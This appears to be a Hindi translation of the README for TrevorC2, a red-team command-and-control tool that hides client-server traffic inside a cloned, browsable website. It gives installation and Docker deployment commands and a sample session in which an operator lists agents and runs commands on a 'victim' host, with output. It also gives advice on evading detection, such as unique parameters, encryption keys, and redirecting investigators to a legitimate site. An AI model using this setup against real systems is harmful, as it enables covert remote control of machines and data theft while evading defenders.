
TrevorC2 एक वैध वेबसाइट (ब्राउज़ करने योग्य) है जो गुप्त कमांड निष्पादन के लिए क्लाइंट/सर्वर संचार को टनल करती है।
लेखक: डेव कैनेडी (@HackingDave) वेबसाइट: https://www.trustedsec.com
ध्यान दें कि यह एक बहुत प्रारंभिक रिलीज़ है - जल्द ही भारी रैंडमाइजेशन और एन्क्रिप्शन जोड़ा जाएगा।
TrevorC2 एक क्लाइंट/सर्वर मॉडल है जो कमांड और कंट्रोल को सामान्य रूप से ब्राउज़ करने योग्य वेबसाइट के माध्यम से छिपाने के लिए है। समय अंतराल अलग-अलग होने और डेटा निकासी के लिए POST अनुरोधों का उपयोग न करने के कारण पता लगाना बहुत कठिन हो जाता है।
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
TrevorC2 के दो घटक हैं - क्लाइंट और सर्वर। क्लाइंट को किसी भी चीज़ के साथ उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। इस उदाहरण में इसे Python में कोडित किया गया है लेकिन इसे आसानी से C#, PowerShell, या जो भी आप चाहें, में पोर्ट किया जा सकता है। वर्तमान में trevorc2_client.py Windows, MacOS और Linux का समर्थन करता है। आप हमेशा Windows वाले को बाइट-कंपाइल करके एक एक्जीक्यूटेबल प्राप्त कर सकते हैं, लेकिन प्राथमिकता यह होगी कि स्टेजर के रूप में एक्जीक्यूटेबल ड्रॉप किए बिना Windows का उपयोग किया जाए।
सर्वर जिस तरह से काम करता है वह पैरामीटर से ठीक पहले एक पैरामीटर छिपाकर रखता है। यह पूरी तरह से कॉन्फ़िगरेबल है, और अनुशंसा की जाती है कि पहचान से बचने के लिए आप सब कुछ अद्वितीय कॉन्फ़िगर करें। यहाँ वर्कफ़्लो है:
1. trevor2_server.py - पहले फ़ाइल को संपादित करें, और अनुकूलित करें कि आप किस वेबसाइट को क्लोन करना चाहते हैं, आदि। सर्वर आपकी पसंद की वेबसाइट को क्लोन करेगा और एक सर्वर खड़ा करेगा। यह सर्वर किसी के द्वारा ब्राउज़ किया जा सकता है और एक वैध वेबसाइट जैसा दिखता है। स्रोत के भीतर एक पैरामीटर है (जो फिर से कॉन्फ़िगरेबल है), जिसमें क्लाइंट के लिए निर्देश होते हैं। एक बार क्लाइंट कनेक्ट होता है, तो वह उस पैरामीटर को खोजता है, और फिर उसका उपयोग कमांड निष्पादित करने के लिए करता है।
2. trevor2_client.py - आपको केवल एक कॉन्फ़िगरेबल विकल्प की आवश्यकता है: एक वेबसाइट को कॉल करने, कुछ बुनियादी डेटा पार्स करने, और फिर एक कमांड निष्पादित करने और परिणामों को साइट पर base64 एन्कोडेड क्वेरी स्ट्रिंग पैरामीटर में रखने की क्षमता। बस इतना ही, मुश्किल नहीं।
3. trevor2_client.ps1 - trevor2_client.py का PowerShell कार्यान्वयन, यह आपको Trevor2_Server के साथ इंटरैक्ट करने के लिए मूल PowerShell का उपयोग करने की अनुमति देता है।
pip install -r requirements.txt
पहले trevor2_server.py को संपादित करें - कॉन्फ़िगरेशन विकल्प और क्लोन करने के लिए साइट बदलें।
python trevor2_server.py
इसके बाद, trevor2_client.py या ps1 को संपादित करें - कॉन्फ़िगरेशन और वह सिस्टम बदलें जिससे आप इसे संवाद करना चाहते हैं।
python trevor2_client.py या .\trevor2_client.ps1
TrevorC2 विभिन्न होस्टनामों से आने वाले कई शेल को संभालने की क्षमता का समर्थन करता है। TrevorC2 जिस तरह से काम करता है वह नए होस्टनामों को सत्र के रूप में पहचानेगा। एक बार जब आप कोई कमांड निष्पादित करते हैं तो आप सत्रों के साथ इंटरैक्ट कर सकते हैं। यदि आपके पास कई सत्र हैं, तो आप एक कमांड टाइप कर सकते हैं और वैश्विक रूप से संग्रहीत सत्र संख्या के आधार पर उस सत्र के साथ इंटरैक्ट कर सकते हैं।
TrevorC2 शुरू करते समय, आप अतिरिक्त जानकारी के लिए help या ? टाइप कर सकते हैं। मूल कमांड उपयोग "list" है जो किसी भी सक्रिय शेल को सूचीबद्ध करेगा या बिल्कुल नहीं, या आप जिस शेल से इंटरैक्ट करना चाहते हैं उसके लिए "interact <session_id>"।
आप शेल के अंदर हमेशा back/exit टाइप कर सकते हैं, यह अभी भी सक्रिय रहेगा और शेल को वास्तव में नहीं मारेगा।
नीचे उदाहरण:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - वैध वेबसाइट कवर्ट चैनल
लेखक: डेविड केनेडी (@HackingDave)
https://www.trustedsec.com
[*] वेबसाइट क्लोन किया जा रहा है: https://www.google.com
[*] साइट सफलतापूर्वक क्लोन हुई।
[*] Trevor C2 सर्वर शुरू किया जा रहा है...
[*] अगला, वह कमांड दर्ज करें जिसे आप पीड़ित पर निष्पादित करना चाहते हैं।
[*] क्लाइंट यादृच्छिक अंतराल का उपयोग करता है, इसमें कुछ समय लग सकता है।
[*] उपयोग के लिए help टाइप करें। उदाहरण कमांड: list, interact।
Trevor C2 शेल
trevorc2>help
दस्तावेज़ीकृत कमांड (विषय के लिए help <topic> टाइप करें):
========================================
exit help interact list servercmd
trevorc2>help list
विवरण: सभी उपलब्ध एजेंटों को सूचीबद्ध करता है
उपयोग: list
trevorc2>list
कोई उपलब्ध एजेंट नहीं। :-(
trevorc2>
*** 127.0.0.1 से कनेक्शन प्राप्त हुआ और होस्टनाम stronghold के साथ communication sid pSNIRFgTuZnCdHN TrevorC2 के लिए।
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
विवरण: एजेंट के साथ एक इंटरैक्टिव शेल शुरू करता है
उपयोग: interact <id>
trevorc2>interact 1
[*] trevorc2 शेल में प्रवेश किया जा रहा है...
[*] अन्य शेल चुनने के लिए exit या back का उपयोग करें
stronghold:trevorc2>ifconfig
[*] कमांड निष्पादित होने की प्रतीक्षा की जा रही है, धैर्य रखें, परिणाम यहाँ प्रदर्शित होंगे...
[*] क्लाइंट से प्रतिक्रिया प्राप्त हुई...
=-=-=-=-=-=-=-=-=-=-=
(होस्टनाम: stronghold
क्लाइंट: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
विवरण: सर्वर पर कमांड चलाएँ
उपयोग: servercmd <command>
उदाहरण: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] TrevorC2 से बाहर निकल रहा है...
एक alpine-आधारित Dockerfile का उपयोग करता है जो trevorC2 को तैनात करने के लिए है, क्लाउड प्रदाताओं पर त्वरित तैनाती के लिए सुविधाजनक। नीचे उदाहरण:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# इस बिंदु पर, रिमोटली डिप्लॉय करने के लिए docker-machine सेट करना बढ़िया काम करता है
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
प्रत्येक स्क्रिप्ट में प्रस्तुत चर को बदलना महत्वपूर्ण है। विशेष रूप से SITE_PATH_QUERY और एन्क्रिप्शन कुंजी। मैं REDIRECT विकल्प को देखने की भी अनुशंसा करूंगा। किसी वेबसाइट को क्लोन करने के बजाय, आपके पास एक और विकल्प है जो पीड़ित होस्ट को, जो जांच करने के लिए साइट ब्राउज़ कर रहा हो, वैध साइट पर रीडायरेक्ट करेगा। मूल रूप से जब कोई साइट पर आता है, तो यह उन्हें उस साइट पर रीडायरेक्ट करेगा जिसे आप क्लोन करना चाहते हैं। उदाहरण के लिए क्लोन की गई साइट को google से एक अलग साइट में बदलें और रीडायरेक्ट को ON पर सेट करें।